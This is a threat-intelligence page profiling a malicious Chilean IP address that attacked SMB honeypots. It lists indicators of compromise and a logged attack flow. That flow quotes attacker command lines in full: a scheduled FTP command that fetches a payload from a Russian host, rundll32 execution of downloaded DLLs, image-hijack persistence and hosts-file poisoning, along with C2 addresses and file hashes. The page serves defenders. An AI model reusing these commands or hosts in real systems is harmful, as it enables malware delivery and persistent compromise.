Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 190.8.82.58Malicious

IP Address: 190.8.82.58Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Outgoing Connection SMB Null Session Login HTTP System File Modification File Operation By CMD Download and Execute Service Configuration DNS Poisoning Scheduled Task Creation Service Creation Download File Service Start Access Suspicious Domain Persistency - Image Hijack Cookie Hijacking SMB CMD WMI Persistence

Associated Attack Servers

103.145.106.242 185.47.128.124

Basic Information

IP Address

190.8.82.58

Domain

-

ISP

Manquehuenet

Country

Chile

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-07-07

Last seen in Akamai Guardicore Segmentation

2024-04-11

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 185.47.128.124:8124 and 217.195.153.116:80

Outgoing Connection

c:\windows\system32\services.exe installed and started cmd as a service named WbVy under service group None

Service Creation Service Start

The file C:\WINDOWS\Temp\conhoy.exe was downloaded and executed 28 times

Download and Execute

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:8888, 103.145.106.242:8888 and 137.175.56.104:8888

Outgoing Connection

C:\windows\Temp\wmia.bat was downloaded

Download File

C:\windows\Temp\u.exe was downloaded

Download File

C:\WINDOWS\Temp\ntuser.dat was downloaded

Download File

c:\windows\inf\aspnet\lsma22.exe was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80 and 104.37.187.182:8888

Outgoing Connection

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Access Suspicious Domain Outgoing Connection

C:\WINDOWS\Debug\item.dat was downloaded

Download File

System file C:\windows\Temp\wmia.bat was modified 9 times

System File Modification

System file C:\windows\Temp\u.exe was modified 9 times

System File Modification

System file c:\windows\inf\aspnet\lsma22.exe was modified 4 times

System File Modification

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma22.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

Connection was closed due to user inactivity

Associated Files

C:\WINDOWS\Debug\item.dat

SHA256: 1e8441f0d32d3854e0b3801063f6015a9f09637d77b714f8e58fb8c198693a51

4122624 bytes

C:\WINDOWS\system\msinfo.exe

SHA256: 20c29760791e953c383bcc5a49ceb1c4b96f077c7ad8a6d7d14b030b5804acc5

7277056 bytes

C:\WINDOWS\Temp\conhoy.exe

SHA256: 58064d9b9c44e6d6fe6f20abc74335859fb822f733d1b3e231a9d85aaef8e638

7680 bytes

C:\WINDOWS\system32\packet.dll

SHA256: cd9f4fb077c25013226e0883f9ae02e9ced9b71f07637081e55ae70fd0788f29

102136 bytes